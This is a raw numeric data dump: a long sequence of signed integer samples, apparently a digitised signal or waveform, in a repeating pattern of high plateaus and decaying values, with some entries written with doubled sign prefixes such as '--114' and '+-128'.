+127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 76 71 +69 66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -128 +64 +61 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 112 -101 -94 -89 -85 -83 -80 -77 -75 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -83 -80 -78 -75 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -88 -85 -82 +97 +86 79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -93 -89 -84 -82 -79 -77 74 71 68 65 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +58 +54 +51 +47 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +74 +70 +68 +65 +63 +60 +57 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +69 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +71 +68 +65 +63 +60 +56 +54 +50 +46 +43 +38 +34 +30 +26 +23 +20 +16 +14 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 +78 +74 +69 +66 +64 +62 +59 +56 +52 +49 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +-104 +-99 +-93 +-72 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +89 +85 +80 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +76 +72 +69 +66 +64 61 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +74 +71 +68 +64 +63 +60 +56 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +33 +30 +26 +22 +19 +16 +14 +11 +8 +7 +5 +3 +2 +0 +-1 +-1 +-2 +-4 +-4 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-77 +-88 +-68 +-79 +-75 +-71 +-68 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-36 +-34 +-33 +-32 +-30 +-30 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +99 +94 +89 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +74 +71 +68 +65 +63 +60 +57 +53 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +74 +71 +68 +64 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +76 +71 +68 +65 +63 +60 +57 +53 +50 +45 +42 +38 +34 +30 +27 +23 +20 +16 +14 +12 +9 +7 +5 +3 +2 +-1 +-2 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-12 +-12 +-12 +-13 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-98 +-77 +-89 +-68 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-33 +-32 +-30 +-30 +-29 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +88 +84 +80 +76 +72 +69 +65 +61 +56 +52 +47 +42 +38 +33 +29 +26 +22 +19 +16 +14 +11 +10 +7 +6 +4 +2 +1 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-105 +-99 +-77 +-88 +-68 +-80 +-75 +-71 +-68 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +85 +80 +78 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +72 +69 +66 +64 +61 +58 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-112 +95 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +45 +42 +38 +33 +29 +26 +22 +19 +16 +13 +11 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-12 +-12 +-12 +-13 +-14 +-14 +-104 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +85 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +109 +95 +85 +78 +73 +69 +67 +64 +62 +59 +56 +53 +49 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +-105 +-98 +-93 +-72 +-84 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-37 +-35 +-35 +-33 +-32 +-31 +-30 +-30 +-28 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +89 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +96 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +74 +70 +67 +64 +63 +60 +58 +54 +51 +47 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +76 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +20 +16 +14 +11 +9 +7 +5 +3 +1 +-1 +-2 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-13 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +86 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +94 +85 +79 +73 +69 +66 +64 +62 +59 +56 +52 +49 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +88 +80 +75 +70 +68 +66 +63 +60 +57 +53 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +-104 +-98 +-93 +-72 +-83 +-79 +-74 +-70 +-67 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +108 +100 +95 +89 +85 +81 +78 +74 +71 +66 +62 +57 +53 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +76 +71 +68 +65 +63 +61 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +66 +64 +61 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +11 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-107 +-101 +-77 +-88 +-68 +-80 +-75 +-71 +-68 +-65 +-62 +-58 +-56 +-54 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +94 +89 +85 +81 +78 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +45 +41 +-58 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +74 +70 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +86 +80 +75 +71 +68 +66 +64 +60 +57 +52 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +79 +75 +71 +68 +65 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +87 +79 +74 +71 +68 +64 +62 +60 +57 +53 +49 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +66 +64 +60 +57 +53 +50 +46 +42 +37 +34 +30 +27 +23 +20 +16 +14 +11 +9 +7 +5 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-99 +-78 +-89 +-68 +-79 +-76 +-72 +-68 +-64 +-61 +-58 +-54 +-52 +-50 +-48 +-45 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +85 +81 +78 +74 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-99 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +88 +80 +75 +71 +68 +66 +63 +60 +57 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +15 +13 +10 +8 +6 +5 +2 +2 +0 +-1 +-2 +-3 +-4 +-4 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +-105 +-99 +-78 +-89 +-69 +-79 +-76 +-72 +-68 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +111 +101 +94 +89 +85 +82 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-99 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +76 +71 +68 +65 +63 +60 +57 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +97 +87 +80 +75 +72 +69 +65 +63 +60 +58 +53 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +11 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-78 +-88 +-67 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +99 +94 +89 +86 +82 +78 +74 +71 +66 +62 +56 +51 +46 +41 +36 +32 +28 +25 +22 +18 +16 +14 +11 +10 +8 +6 +4 +2 +1 +0 +-1 +-2 +-4 +-4 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-101 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-104 +-99 +-77 +-88 +-67 +-80 +-75 +-71 +-68 +-64 +-61 +-58 +-55 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-30 